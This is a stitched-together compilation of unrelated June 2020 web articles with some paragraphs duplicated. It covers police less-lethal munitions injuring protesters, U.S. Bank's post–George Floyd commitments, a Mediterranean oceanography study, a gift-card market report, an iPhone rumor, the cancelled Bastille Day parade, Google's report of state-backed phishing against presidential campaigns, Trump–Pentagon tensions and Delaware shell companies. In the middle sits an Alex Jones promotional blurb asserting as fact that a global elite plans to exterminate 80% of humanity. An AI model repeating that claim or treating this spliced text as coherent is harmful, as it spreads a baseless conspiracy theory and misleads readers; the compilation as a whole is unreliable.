Austins chief of police, Brian Manley, said police shot the wrong person after officers who were guarding the departments headquarters building were pelted with rocks, water bottles and a backpack.

Instead of hitting the person who threw the bottle and backpack, it hit the head of a nearby protester who was recording on his cell phone, KVUE-TV reported.

Howell, a political science student at Texas State University, suffered serious head injuries, including a fractured skull and brain damage.

[Justin] has a fractured skull, his older brother, Joshua Howell, a student at Texas A&M University, wrote in his student newspaper, The Battalion.

He has brain damage. Doctors anticipate that when he wakes up, he will have difficulty telling his left from his right.

Manley has vowed to investigate.

While it remains unclear exactly which kind of non-lethal projectile was used to injure Justin Howell, the Austin Police Association, a local police union, posted images of used bean bag rounds.

Leslie Furcron, 59, was shot by police in La Mesa, California. Officers fired a bean bag round, which struck Furcron between the eyes. She is in a coma

A bean bag round, also known as a flexible baton round, is thought to be a non-lethal projectile that is usually fired from a 12-gauge shotgun. Each round holds a small fabric pillow that is filled with lead pellets weighing about 40 grams. When it is shot, the bean bag bursts out of the shotgun at a speed of between 70 and 90 meters per second - or between 230 and 300ft per second

A bean bag round, also known as a flexible baton round, is thought to be a non-lethal projectile that is usually fired from a 12-gauge shotgun.

Each round holds a small fabric pillow that is filled with lead pellets weighing about 40 grams.

When it is shot, the bean bag bursts out of the shotgun at a speed of between 70 and 90 meters per second - or between 230 and 300ft per second.

The bag spreads out in flight and distributes its impact over an area of about 6 square centimeters - or 1 square inch.

The purpose of using bean bag rounds is to render an individual who does not pose a deadly threat to law enforcement temporarily immobile by causing muscle spasm or some other physical injury.

According to the website of one bean bag manufacturer, the effective range for firing the munition is 82ft.

The company issues the following operational warning: CAUTION: Shots to the head, neck, thorax, heart, or spine can result in fatal or serious injury.

In October 2017, a Barber County, Kansas undersheriff shot and killed a man with a beanbag round which he fired at his chest at too close of a range, which delivered more force than a standard police-issued rifle.

In Austin, Texas, a 20-year-old man, Justin Howell, took part in a protest on Sunday when he was hit in the head with a less-lethal projectile

Video footage posted to social media shows other protesters carrying Howell's body after he was shot

A bean bag round was used by the La Mesa, California Police Department on Saturday, when officers fired at 59-year-old Leslie Furcron.

Furcron is in a medically induced coma and is in danger of losing one of her eyes after she was hit in the head by a projectile, her family told NBC Los Angeles.

The family is demanding that the officer who fired the round be charged with attempted murder.

The incident took place at around 7:30pm on Saturday, when police tried to disperse the crowd.

Protesters on social media have also been posting photographs of wooden bullets that have been used to put down crowds

One protester showed a bruise left on his leg a day after he was hit by a wooden bullet

Law enforcement officials said that some of the protesters threw bottles of water and other objects at officers.

The officers then responded with tear gas and other projectiles.

In the ensuing chaos, one of the officers shot Furcron, who was hit in between the eyes.

The force of the blow sent her to the ground and protesters nearby rushed to give her aid.

The violence committed against Ms. Furcron is yet another example of an overly-militarized police force using unnecessarily aggressive tactics against peaceful demonstrators, Dante Pride with The Pride Law Firm said.

Pride said videos from the scene indicate that at no time was Furcron violent.

He said Furcron was holding up her cell phone recording the incident when she was hit.

Riot police in Denver move through clouds of tear gas during a protest on May 30

According to the U.S. Centers for Disease Control and Prevention, riot control agents, of which CS is among the most common, can cause blurred vision, coughing, choking sensation, chest tightness, skin reactions and nausea

San Diego County Sheriff Bill Gore said: The situation became hostile when people started vandalizing the police station, as well as throwing rocks, bricks and bottles at La Mesa police officers and deputies.

Gore said at that point that law enforcement declared the gathering an unlawful assembly.

The sheriff said authorities repeatedly urged the protesters to disperse and warned them before using crowd control means.

Gore said his deputies did not deploy tear gas and other less lethal options until after people began to vandalize property and threw rocks twice the size of a fist and bricks at officers and deputies.

In Dallas, attorneys for 26-year-old Brandon Saenz said that he was protesting police brutality on Saturday when a rubber bullet - also known as a sponge grenade - took out his left eye.

All I heard was a boom. I got hit, Saenz told CBS DFW.

I put my hands up, and I put my hand on my eye, and then I took off running.

Saenzs lawyers said their client did nothing to justify the shooting.

The case is being investigated by the Dallas Police Oversight Board.

According to the website of one manufacturer, sponge grenades are designed to cause blunt trauma pain.

Sponge grenades are 40-mm rounds that consist of a plastic base and a rounded tip.

They are used at relatively short ranges - up to a few dozen meters.

Some sponge grenades - also known as rubber bullets - are not made of rubber.

There are projectiles that are made out of a hardened foam or plastic.

Others have a metal core. Protesters on social media have also been posting photographs of wooden bullets that have been used to put down crowds.

Earlier this week, Jo Ling Kent, an MSNBC reporter, was nearly hit with a flash-bang, also known as a stun grenade, during a live on-air report in Seattle

A stun grenade - when detonated - can reach up to 180 decibels, which is loud enough to cause damage to the eardrum and temporary deafness. The light generated from the explosion can also cause temporary blindness. The above image is a stock photo of a stun grenade

In 2017, a British Medical Journal study done by Physicians for Human Rights and the International Network of Civil Liberties Organizations documented nearly 2,000 injuries caused by the use of rubber bullets.

Of these, 15 per cent resulted in permanent disability, while 3 per cent resulted in death.

Those who were injured in the eyes overwhelmingly suffered from blindness - 84.2 per cent.

Other popular methods of crowd control used by American police departments over the course of the past 10 days include tear gas, pepper spray, pepper balls, flash bangs - or stun grenades - and batons.

Tear gas is illegal for use in international warfare, but domestic police forces in the United States do use it to disperse crowds.

The tear gas contains chemical agents that impair the eyes, nose, mouth, lungs, and skin.

According to the U.S. Centers for Disease Control and Prevention, riot control agents, of which CS is among the most common, can cause blurred vision, coughing, choking sensation, chest tightness, skin reactions and nausea.

Experts say that while the long-term effects of exposure to tear gas are not known, anyone with pre-existing medical conditions is at increased risk of severe health maladies if they find themselves in an area that is tear-gassed.

Last week, a Louisville Metro Police Department officer (left) fired pepper balls at a local television news reporter, Kaitlin Rust (right), who was covering a protest in downtown Louisville

Police departments have also been using pepper balls fired by a specialized air rifle. Pepper balls are non-lethal rounds that contain PAVA and CS irritant powder

Flash-bangs, or stun grenades, have also been a weapon of choice for police departments looking to break up crowds of protesters.

According to Physicians for Human Rights, stun grenades are designed to generate an explosive noise to the point where it impairs hearing.

A stun grenade - when detonated - can reach up to 180 decibels, which is loud enough to cause damage to the eardrum and temporary deafness.

The light generated from the explosion can also cause temporary blindness.

A stun grenade which detonates can also endanger people nearby since shrapnel is launched at high speeds.

In Seattle, an MSNBC reporter was nearly hit with a stun grenade that exploded while she was delivering an on-air report.

Police departments have also been using pepper balls fired by a specialized air rifle.

Pepper balls are non-lethal rounds that contain PAVA and CS irritant powder.
For the New World Order, a world government is just the beginning. Once in place they can engage their plan to exterminate 80% of the world's population, while enabling the "elites" to live forever with the aid of advanced technology. For the first time, crusading filmmaker ALEX JONES reveals their secret plan for humanity's extermination: Operation ENDGAME.

Jones chronicles the history of the global elite's bloody rise to power and reveals how they have funded dictators and financed the bloodiest warscreating order out of chaos to pave the way for the first true world empire.

Watch as Jones and his team track the elusive Bilderberg Group to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III.





to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. Learn about the formation of the North America transportation control grid, which will end U.S. sovereignty forever.





Discover how the practitioners of the pseudo-science eugenics have taken control of governments worldwide as a means to carry out depopulation.





View the progress of the coming collapse of the United States and the formation of the North American Union.

Never before has a documentary assembled all the pieces of the globalists' dark agenda. Endgame's compelling look at past atrocities committed by those attempting to steer the future delivers information that the controlling media has meticulously censored for over 60 years. It fully reveals the elite's program to dominate the earth and carry out the wicked plan in all of human history.

Endgame is not conspiracy theory, it is documented fact in the elite's own words.




[June 05, 2020] U.S. Bank to Rebuild in Minneapolis, Announces Multiple Investments and Initiatives to Address Social and Economic Inequities

In response to the George Floyd tragedy and the resulting protests and civil unrest throughout the United States, U.S. Bank today announced several investments and initiatives to bridge social and economic gaps and enhance opportunity for people of color. Staying in the community In Minneapolis, where multiple sites were damaged or burned during the civil unrest, U.S. Bank will break ground as soon as possible so it can continue to support the Lake Street and North Minneapolis areas with banking services and branches. The company will also work to repair other branches and facilities across the country that were damaged. "We chose to serve these communities, and we will not turn our backs or abandon the neighborhoods where so many are hurting right now," said Andy Cecere, chairman, president and CEO of U.S. Bank. "We will continue to provide jobs, banking services and financial education in the areas that have been traumatized during the past week." Investing in and supporting the community Beyond these efforts, the U.S. Bank Foundation will establish a $15 million fund to award community grants dedicated to addressing systemic economic and racial inequities in small business, affordable housing and workplace development for people of color across the country. U.S. Bank also will increase efforts to support small and minority-owned businesses that create jobs and build a social infrastructure that leads to long-term economic success, doubling partnerships with African-American suppliers in the next 12 months. The company also will provide $100 million annually in additional capital to African-American owned and led businesses or organizations. U.S. Bank will help rebuild and reivest in affordable housing and retail commercial businesses in impacted areas, and the company will launch a $1 million Community Development Financial Institutions (CDFI) partnership program to award grants and commercial loans to organizations that qualify.



"George Floyd's life had meaning and purpose. We need to do what we can to give the heartbreak that has followed meaning and purpose, as well," Cecere said. "If we are truly going to draw strength from diversity, we have to do better. We have to create opportunities that bridge gaps, that generate economic prosperity, and that allow people to achieve their potential." Committing to help employees

For employees, U.S. Bank will provide an additional eight hours of paid time off to volunteer in their communities during the next two months as recovery efforts are underway. This is in addition to the 16 hours of paid time off that U.S. Bank employees receive annually. U.S. Bank will also expand access to the company's matching gifts program to help employee donations go further. The company will also commit to a refined talent management strategy to develop and promote people of color to leadership roles, educate and enhance awareness of racial issues among our entire staff, and encourage community engagement in measurable ways. U.S. Bank will also invest an additional $1 million to its employee assistance fund which works to support employees who are facing hardships. "We need to be more intentional about creating conditions in which all of our employees can develop leadership, demonstrate creativity and advance professionally," said Greg Cunningham, chief diversity officer for U.S. Bank. "We are steadfast in our commitment to placing equal value on the potential contributions, unique leadership skills and creativity that come with the black experience. We are making progress but need to continue to improve in this area." About U.S. Bank U.S. Bancorp, with more than 70,000 employees and $543 billion in assets as of March 31, 2020, is the parent company of U.S. Bank National Association, the fifth-largest commercial bank in the United States. The Minneapolis-based bank blends its relationship teams, branches and ATM network with mobile and online tools that allow customers to bank how, when and where they prefer. U.S. Bank is committed to serving its millions of retail, business, wealth management, payment, commercial and corporate, and investment services customers across the country and around the world as a trusted financial partner, a commitment recognized by the Ethisphere Institute naming the bank one of the 2020 World's Most Ethical Companies. Visit U.S. Bank at www.usbank.com or follow on social media to stay up to date with company news. View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005431/en/

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The Sicily Strait, an underwater relief connecting the Italian island with the Tunisian coasts, is not a geological barrier for the deep water circulation between eastern and western Mediterranean -which was always thought to be. Quite the contrary, the contribution of the eastern Mediterranean deep water flow towards the western one can reach 70%, according to a study recently published in the journal Process in Oceanography.

The new study profiles an hydrodynamic map -so far unknown- between the eastern and western basins of the Mediterranean Sea, and is led by Leopoldo Pena and Isabel Cacho, members of the Faculty of Earth Sciences and the Consolidated Research Group on Marine Geosciences of the University of Barcelona. Other co-authors of the study are the experts Ester Garcia Solsona, Eduardo Paredes and Jose Perez Asensio (UB research group on Marine Geosciences), Lucia Quiros Collazos, from the Institute of Marine Sciences (ICM-CSIC) and Fabrizio Lirer, from the Institute of Marine Sciences (ISMAR-CNR, Italy).

The innovative study sheds light on the oceanographic processes in the Mediterranean Sea using the pioneer application of neodymium (Nd) radiogenic isotopes and rare earth elements as geochemical tracers to study this complex marine area. Researchers could use this methodology thanks to the equipment of the new Laboratory of Radiogenic and Environmental Isotopes (LIRA) and the multicollector mass spectrometer PANTHALASSA of the University of Barcelona, a dual support infrastructure for research -the only one in Spain- perfect to identify radiogenic and environmental isotopes at trace levels. Scientifically coordinated by Isabel Cacho and Leopoldo Pena, the equipment was launched in 2019 in the Faculty of Earth Sciences and in the Scientific and Technological Centers of the UB (CCiTUB), respectively.

Underwater frontier between Mediterranean basins

The Mediterranean Sea is a semi-closed sea which communicates with the Atlantic Sea via the Gibraltar Strait. Surrounded by continental waters, it is divided in two basins of a similar size -eastern and western- with water masses with different properties (salinity, density, isotopic composition, topography, etc.) which connect through the Sicily Strait.

The effect of the particularly dry climate of the Mediterranean determines the creation of deep water in some areas of this marine region (Gulf of Lion, south of the Adriatic Sea, etc.). This oceanographic process takes place in some areas of the planet -North Atlantic or around the Antarctica- under different oceanographic and atmospheric conditions, and it is regarded as the engine of the global oceanographic circulation in the planet.

"The Sicily Strait is only 316 meters deep and the eastern Mediterranean basin goes beyond 5,000 meters. One of the processes that fascinated the field of oceanographic research is this exchange of water mass between the eastern and western basins through this strait", notes Isabel Cacho, Professor of the Department of Earth and Ocean Dynamics of the UB.

"According to the classic hypothesis -she continues- the strait was a physical barrier for the deep waters of the eastern Mediterranean to travel towards the western one. This oceanographic process was believed to be dominated by intermediate waters".

Radiogenic isotopes and rare earth elements: a new perspective on oceanography

The new oceanographic study uses rare earth elements and neodymium isotopes -chemical element from the lanthanide group- as conservative oceanographic tracers in the Mediterranean area. With this methodology, experts rebuilt the oceanographic structure of the Mediterranean basins using samples from water taken onboard in the oceanographic boat N/o Minerva Uno from the National Research Council (CNR, Italy). The samples were obtained in June 2016 during the oceanographic campaign in the Italian project NextData -in which the UB took part- in the central area of the Mediterranean.

"These new geochemical tools allow us to separate water masses formed in the eastern Mediterranean -warmer and salty- from the western one. The waters from the eastern basin show higher concentration of rare earth elements and a Nd isotopic composition which is more radiogenic than the western basin", notes Isabel Cacho, awardee of an ERC Consolidator Grant 2015, who contributed to promote new oceanographic research studies.

The conclusions suggest that the contribution of deep water from the eastern Mediterranean to the western area can reach about 70% of the deep waters in the Tyrrhenian Sea. This proportion -which oscillates between 30 and 70% in the eastern area of the Tyrrhenian- is higher than the calculated values with classic oceanographic parameters (temperature, salinity, etc.), in previous studies.

LIRA-PANTHALASSA: support to multidisciplinary research

Having multicollector mass spectometers (MC-ICP-MS) for the precise analysis of Nd radiogenic isotopes -present in low concentrations in the sea- is a must to conduct oceanographic studies in Spain with this new methodological perspective. The MC-ICP-MS PANTHALASSA -installed in CCiTUB and available for its users- allows users to determine the isotopic relation of most of the periodic table elements, with a high sensitivity (between 10 and 100 parts per million).

"These tools enable us to develop a leading science to study the current ocean -as seen in this study- but we can use them to see the conditions of the ocean in the past during the different climate changes. Therefore, these open new opportunities to understand the relation between climate and ocean better", notes Leopoldo Pena, member of the research group on Marine Geosciences of the UB, led by Professor Miquel Canals.

"Moreover, despite the large potential of application in disciplines related to earth sciences (oceanography, palaeoceanography, geochronology, petrology, hydrology, etc.), many knowledge fields related to environmental, archaeological, food and health studies can benefit from these leading analytic techniques".

###
[June 05, 2020] Israel Gift Card and Incentive Card Market Intelligence and Future Growth Dynamics 2015-2024 - COVID-19 Update Q2 2020 - ResearchAndMarkets.com

The "Israel Gift Card and Incentive Card Market Intelligence and Future Growth Dynamics (Databook) - Market Size and Forecast (2015-2024) - COVID-19 Update Q2 2020" report has been added to ResearchAndMarkets.com's offering. This report details the impact of economic slowdown along with change in business and consumer sentiment due to disruption caused by COVID-19 outbreak on gift card industry in Israel. Historically, the gift card market in Israel has recorded a steady growth with a CAGR of 15.7% during 2015-2019. However, According to the Q2 2020 Global Gift Card Survey, gift card market in Israel is expected to be impacted across retail and corporate segments due to disruption caused by COVID-19 outbreak. Though growth of the gift card industry will be impacted due to pandemic, there are certain segments such as self-use which will gain significant market share. Adoption of e-Gift cards is also expected to increase significantly over the next 4-6 quarters. There are interesting trends emerging across various segments, which are expected to fundamentally reshape gift card industry dynamics. Despite near-term challenges, medium to long term growth story of gift cards in Israel remains strong. The gift card industry in Israel will continue to grow over the forecast period and is expected to record a CAGR of 10.7% during 2020-2024. The gift card market in the country will increase from US$ 862 million in 2019 to reach US$ 1,302.4 million by 2024. In Israel, the gift card market has witnessed substantial growth over the last few years. The rising adoption of electronic payment methods such as mobile wallets is creating scope for the gift cards market. Moreover, the market growth can also be attributed to the increasing smartphone penetration and subsequent e-commerce gift card's rapid expansion in Israel. Furthermore, both domestic gift card issuers such as Isracard and international companies have a strong presence in the Israeli gift card market. The Israeli e-commerce market is still relatively small, however, the growing market attractiveness with more than four million e-commerce shoppers enticed the leading e-commerce companies such as Amazon, e-bay, and Alibaba in the market. Moreover, card-based payments are gaining popularity while shopping in e-commerce sites. The trend is also allowing growth opportunities for gift cards. For instance Amazon is one of the leading e-commerce gift card issuers in Israel. Besides these international companies' domestic online retailers such as Judaica WebStore, an online Judaica (Jewish ceremonial art) store and purveyor offers its digital gift card.



Corporate spending on gift cards is also increasing in the country. The trend has created growth opportunities for fintech companies and gift card issuers. For instance, Snappy App, Inc., is one of the leading corporate gift card issuers in Israel. In October 2018, the company raised US$10 million to boost its expansion throughout the country. The rising consumer interest in cryptocurrencies is also driving the gift card market growth. In Israel, consumers can buy bitcoins and other altcoins through gift cards or vice-versa. This has also created scope for third party players such as paxful.com and bitrefill.com to allow consumers to trade with bitcoins for gift cards.

This report provides a detailed data centric analysis of gift cards and corporate incentive cards market along with consumer behaviour and retail spend dynamics in Israel. With over 200 KPIs at country level, this report provides comprehensive understanding of gift and incentive card market dynamics. The report includes raw data along with structured dashboards, charts, and tables in an interactive Excel format. Below is a summary of country level trend analyses covered across gift card segments: Total gift market: This report provides detailed view of overall spend on gifts, broken down by retail and consumer segments. For both retail and consumer segments, this report provides a breakdown of spend on gifts by product categories (13 segments) and retail sectors (7 segments).

Gift cards: Drawing from proprietary survey results, this report provides in-depth analysis of opportunities in both open loop and closed loop prepaid gift card categories. Assesses consumer behaviour by type of consumer (retail and corporate - SMB, Mid-Tier, Large Enterprise), gifting occasion, digital gift card (e-gift card), and market share by retail sectors.

Details six essential KPIs: number of cards in circulation, load value, unused value, average purchase value, average value per transaction, and value of transactions.

Corporate incentive & loyalty cards: This report provides detailed market dynamics of corporate incentive cards, broadly segmented in three categories - consumer incentive card, employee incentive card, and sales/partner incentive card. It details market size and forecast at category level, by functional attribute (open loop and closed loop), and by corporate consumer segments (small scale business, mid-size business, and enterprise business).

Digital gift card (e-gift card) analysis: Provides market size and forecast for digital gift cards, broken down by retail and corporate buyers. It also includes gift card spend by occasion (retail - festivals & special celebration days, milestone celebration, self-use, other; Corporate incentive cards -consumer incentive card, employee incentive card, and sales/partner incentive card). The report also includes digital gift card adoption by company size.

Open loop and closed loop: Provides market estimates and forecasts to assess opportunities in open loop and closed loop gift and incentive card segments across consumer segments.

Consumer attitude and behaviour: Drawing from proprietary survey results, this report identifies and interprets key KPIs related to gift card dynamics including spend by age, gender, and income level.

Retail spend: Breaks down retail spend across retail sectors (7 segments) to provide detailed insights on consumer behaviour and changing dynamics of gift card spend.

Market share by retailer: Provides market share of closed loop gift cards by key retailers in Israel.

Distribution channel analysis: Provides market share by distribution channel - online vs offline sales and 1st party vs 3rd party sales (sales through outlet of other retailers). Companies Mentioned Shufersal Ltd

Super-Pharm (Israel) Ltd

Rami Levi Shivuk Hashikma

Yeynot Bitan Ltd

Coca-Cola Co, The

Hamashbir 365 Holdings Ltd

Dor Alon Israel Ltd

Tiv Taam Holdings

Victory Supermarket Chain Ltd

PAZ Oil Co Ltd

Castro Model Ltd

Mashkat Ltd

Inditex, Industria de Diseo Textil SA

Fox Wizel Ltd

Inter Ikea Systems BV For more information about this report visit https://www.researchandmarkets.com/r/73mu6l View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005365/en/

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The Apple iPhone 13 is expected to arrive in fall next year.

Apple is expected to launch the iPhone 12 in fall this year. Reports in the past couple of months have already detailed what we should expect from the companys upcoming series of smartphones. Now, a new report gives us details about the iPhone 13 that is expected to launch in the fall of 2021.

Japanese blog site Macotakara (via Mac Rumours) has obtained a rough 3D printed mockup of a 5.4-inch iPhone from Alibaba sources that is expected to be coming in 2021. The 3D printed mockup of the 5.4-inch iPhone shows that the iPhone 13 will come with a notch-free design. The True Depth camera, which is housed inside the notch will be located in the front centre of the phones display. The report states that Apple could use Samsung's Under Panel Sensor technology for the same.

In addition to this, the iPhone 13, as per the report, may come with a bottom-of-screen camera and ultra-thin bezels. The mock-up has five holes at the back hinting towards the phone getting a quad-rear camera setup. This aligns with another report by choco_bit aka Fudge last month which said that the iPhone 13 could get a quad camera setup with LiDAR sensors at the back.

The mockup model also shows an interesting detail about the upcoming iPhone 13. Reports in the past have hinted that Apple is planning to replace the Lightning connector with a USB Type-C port. Now, the report by the blog site says that the company could be making that switch with the iPhone 13.

The report notes that this design is one of the prototypes under development. This indicates that the company could try out other prototypes before settling on a final design. This also indicates that the iPhone 13 design that we get to see next year is radically different from the mockup cited in this report. Safe to say that it is too soon to comment on the details pertaining to the iPhone 13. We will keep an eye out for details and update you as soon as we have an update.
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Linkedin Daphne Benoit (Agence France-Presse) Paris, France  Fri, June 5, 2020 08:30 595 fc6853813033f564188675f8bdc45bd3 2 World France,Bastille-Day,parade,coronavirus,COVID-19,COVID-19-infection,social-distancing,physical-distancing,pandemic Free

France on Thursday cancelled the 2020 Bastille Day military parade due to coronavirus social distancing requirements, replacing it with a tribute to health workers fighting the pandemic.

Rather than the traditional march of soldiers and military hardware down the Champs-Elysees on July 14, this year will see a much smaller ceremony at the Place de la Concorde, the presidency said.

The annual parade to mark the July 14, 1789 storming of the Bastille fortress in Paris during the French Revolution, has been held on the Champs-Elysees since World War I.

This will be the first year without one since the end of World War II.

It normally starts at the Arc de Triomphe, a monument to those who fought for France, and ends at Concorde, where King Louis XVI was beheaded in 1793 in the revolution that overthrew France's monarchy.

This year, the square will host a military ceremony with some 2,000 participants and 2,500 guests, who will gather in strict respect of social distancing rules seeking to halt the spread of the virus that has killed more than 29,000 people in France.

"It will be a reinvented 14th of July adapted to the circumstances," Defense Minister Florence Parly said.

The event will include a highlight of the yearly show -- the flypast -- in honor of medical personnel, military and all others "mobilized against the virus", the presidential palace said.

De Gaulle tribute

Four other countries -- Germany, Switzerland, Austria and Luxembourg -- have been invited to attend this year's event to thank them for having taken coronavirus patients into their hospitals in regions bordering France, said the presidency.

The event will likely not be open to the public, although this decision could be re-evaluated if the health situation improves.

Every year, thousands of people throng the Champs-Elysees to view the spectacle of men, women and their weapons of war rolling down the avenue to army bands as French flags flutter everywhere.

Last year's parade, themed to celebrate European military cooperation, was marred by violent clashes between police and anti-government protesters.

A year earlier, two motorcyclists from the French national gendarmerie collided and fighter jets sprayed the colors of the nation's flag in the wrong order.

President Emmanuel Macron, in his first months in office, used the 2017 Bastille Day parade to wow his guest of honor, freshly inaugurated US President Donald Trump.

This year's ceremony will also pay tribute to resistance hero-turned-president Charles de Gaulle who died 50 years ago this year.
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State-backed hackers have targeted the election campaigns of US President Donald Trump and former vice president Joe Biden, Google said.

The company confirmed the findings after the director of its Threat Analysis Group, Shane Huntley, disclosed the attempts on Twitter.

Mr Huntley said a Chinese group known as Hurricane Panda targeted Trump campaign staff while an Iranian outfit known as Charming Kitten had attempted to breach accounts of Biden campaign workers.

Google said it saw no evidence that the phishing attempts were successful.

The groups involved are ones referred to as APT31 and APT35.  Shane Huntley (@ShaneHuntley) June 4, 2020

Such attempts typically involve forged emails with links designed to harvest passwords or infect devices with malware.

The effort targeted personal email accounts of staff in both campaigns, according to the company statement.

A Google spokesman added that the timeline is recent and that a couple of people were targeted on both campaigns.

He would not say how many.

Google said it sent targeted users our standard government-backed attack warning and referred the incidents to federal law enforcement.

This is a major disclosure of potential cyber-enabled influence operations, just as we saw in 2016.



The part here disclosed by @ShaneHuntley's team at @Google is the cyber-enabled pre-cursor to potential influence operations.



It's a necessary reminder, especially to campaigns. https://t.co/eKqWvN7Ub0  Graham Brookie (@GrahamBrookie) June 4, 2020

Graham Brookie, director of the Atlantic Councils Digital Forensic Research Lab, called the announcement a major disclosure of potential cyber-enabled influence operations, just as we saw in 2016.

His tweet referred to the Russian hacking of the Democratic National Committee and Hillary Clintons 2016 presidential campaign and subsequent online release of internal emails  some doctored  that US investigators determined sought to assist the Trump campaign.

Neither the Biden nor the Trump campaign would say how many staff were targeted, when the attempts took place or whether the phishing was successful.

Both campaigns have been extremely reticent about discussing cyber security.

The Trump campaign has been briefed that foreign actors unsuccessfully attempted to breach the technology of our staff, the campaign said in a statement.

We are vigilant about cyber security and do not discuss any of our precautions.

The Biden campaign did not even confirm the attempt.

We are aware of reports from Google that a foreign actor has made unsuccessful attempts to access the personal email accounts of campaign staff, it said in a statement.

This is an increased time I think for adversaries to hurt our country and I do think they will take that during elections Keith Alexander, former National Security Agency director

We have known from the beginning of our campaign that we would be subject to such attacks and we are prepared for them.

Hurricane Panda, also known by security researchers as Zirconium or APT31  an abbreviation for advanced persistent threat  is known for focusing on intellectual property theft and other espionage.

Charming Kitten, also known as Newscaster and APT35, is reported to have targeted US and Middle Eastern government officials and businesses, also for information theft and spying.

In October, Microsoft said hackers linked to Irans government had targeted a US presidential campaign and the New York Times and Reuters identified the target as Mr Trumps re-election campaign.

Campaign spokesman Tim Murtaugh said at the time that there was no indication that any of our campaign infrastructure was targeted.

A former director of the National Security Agency, Keith Alexander, said he fully expects geopolitical rivals of the US to take advantage of the Covid-19 crisis and unrest in the country.

This is an increased time I think for adversaries to hurt our country and I do think they will take that during elections, he said.
Washington: President Donald Trump is not only drawing criticism from his usual political foes but also backtalk from his defence secretary, his former Pentagon chief and a growing number of Republicans.

A day after Defense Secretary Mark Esper shot down Trump's idea of using active-duty troops to quell protests across the United States, retired four-star Gen. John Allen joined the chorus of former military leaders going after the president. And Republican Alaska Sen. Lisa Murkowski said Esper's remarks were "overdue" and she didn't know if she would support Trump in November.

Although Esper's declaration was followed by the Pentagon reversing course on pulling part of the 82nd Airborne Division off standby outside Washington, the rising criticism underscored an extraordinary clash between the US military and its commander in chief.

Both Trump and Esper also drew stinging, rare public criticism from Trump's first defense secretary, Jim Mattis, in the most public pushback of Trump's presidency from the men he put at the helm of the world's most powerful military.

Mattis' rebuke Wednesday followed Trump's threats to use the military to "dominate" the streets where Americans are demonstrating following the death of George Floyd, a black man who died when a white police officer pressed his knee into his neck for several minutes.

Trump had urged governors to call out the National Guard to contain protests that turned violent and warned that he could send in active duty military forces if they did not.

Esper angered Trump when he said he opposed using military troops for law enforcement, seemingly taking the teeth out of the president's threat to use the Insurrection Act.

Esper said the 1807 law should be invoked "only in the most urgent and dire of situations." He added, "We are not in one of those situations now."

After Esper's visit to the White House, the Pentagon abruptly overturned an earlier decision to send a couple hundred active-duty soldiers home from the Washington, DC, region, a public sign of the growing tensions with the White House amid mounting criticism that the Pentagon was being politicized in response to the protests.

Former Secretary Mattis, a retired Marine general, lambasted both Trump and Esper in an essay in The Atlantic for their consideration of using the active-duty military in law enforcement and for the use of the National Guard in clearing out a largely peaceful protest near the White House on Monday evening.

"We must reject any thinking of our cities as a 'battlespace' that our uniformed military is called upon to 'dominate," Mattis wrote, referencing quotes by Esper and Trump respectively.

"Militarizing our response, as we witnessed in Washington, DC, sets up a conflict, a false conflict, between the military and civilian society."

Trump responded on Twitter by calling Mattis "the world's most overrated General, adding: I didn't like his 'leadership' style or much else about him, and many others agree, Glad he is gone!"

Yet another former military leader, retired Marine Corps four-star general Allen, said that events on Monday, the day Trump walked to the church, "may well signal the beginning of the end of the American experiment."

Allen, president of the liberal-leaning Brookings Institution, contrasted the routing of the protesters in Lafayette Park with remarks by Floyd's brother, Terrence Floyd, who denounced looting that he said tarnishes his brother's memory.

Writing in Foreign Policy, Allen urged people to make their votes in November for the future of America's democracy. "It will have to come from the bottom up. For at the White House, there is no one home," he wrote.

Then, on Thursday, Alaska Sen. Murkowski said she was "really thankful" for Mattis' comments. She said she thought his "words were true and honest and necessary and overdue."

"I felt like perhaps we're getting to the point where we can be more honest with the concerns that we might hold internally, and have the courage of our own convictions to speak up," she said.

Asked if she could support Trump for reelection, she said, "I am struggling with it."

Days ago, Esper had ordered about 1,300 Army personnel to military bases outside the nation's capital as Trump weighed whether to invoke the Insurrection Act and send active-duty troops into the city, where the scene of large protests that devolved into violence and looting over the weekend.

But after a night of calm enforced by a large deployment of National Guard troops and heavily armed federal law enforcement agents, defense officials said the troops would begin returning to their home base.

Army Secretary Ryan McCarthy told The Associated Press that the decision was reversed after Esper's visit to the White House. The White House didn't respond to request for comment on whether Trump ordered the change.

The shift added to confusion over the president's threat to invoke the Insurrection Act for protests following Floyd's death in Minneapolis. White House officials had indicated even before Esper's comments that Trump was backing away from invoking the act, though officials said Trump was upset that Esper's statement conveyed "weakness."

Press secretary Kayleigh McEnany said the president was still willing to deploy federal troops despite Esper's comments: "If needed, he will use it," she told reporters.
Shining Light In A Black Box: Can The U.S. Slow The Flow Of Dirty Money From The Ex-U.S.S.R.?

By Todd Prince June 04, 2020

When Ukraine's Privatbank filed a lawsuit in the United States against its former owner Ihor Kolomoyskiy one year ago, it claimed the tycoon had used a slew of anonymous shell companies registered in the U.S. state of Delaware to carry out what it called a "brazen" heist.

Kolomoyskiy and his partner Hennadiy Boholyubov used Delaware-based limited liability companies (LLCs) -- which are popular for their lack of beneficial ownership disclosure requirements -- to acquire U.S. businesses and properties worth hundreds of millions of dollars with stolen funds, the Kyiv-based bank claimed.

The men "have gone through great lengths to conceal their ownership and control over U.S. assets," the lawsuit filed in Delaware's Chancery Court on May 21, 2019, said.

Two new bills now on their way through the U.S. Congress could make it much harder to do that  and easier for U.S. law enforcement agencies to immediately identify owners of shells, speeding up investigations.

Citing unnamed sources, the Daily Beast reported in April 2019 that the FBI has been investigating Kolomoyskiy and Boholyubov for potential financial crimes, including money laundering.

Lax registration rules in states such as Delaware, Wyoming, and New Mexico -- which require less information to create a company than to get a library card -- have helped turn the United States into a leading offshore haven for criminals and corrupt officials the world over, including from the former Soviet Union.

The Tax Justice Network, a British-based advocacy group, ranked the United States second only to the Cayman Islands in its 2020 survey of the nations "most complicit" in allowing wealthy individuals and criminals to hide and launder money.

Now Congress is pursuing legislation to create a federal database of beneficial owners of shell corporations and LLCs to combat their abuse by criminal elements and corrupt officials. It comes amid a renewed global push for greater financial transparency following the 2016 publication of the Panama Papers -- a leak of reams of secret legal documents and financial data that highlighted a global scheme to evade taxes worldwide.

The U.S. House of Representatives passed the Corporate Transparency Act in October, with a bipartisan vote of 249-173. Representative Carolyn Maloney, a Democrat from New York who is one of the bill's sponsors, said in May that she is hopeful it will pass Congress this year.

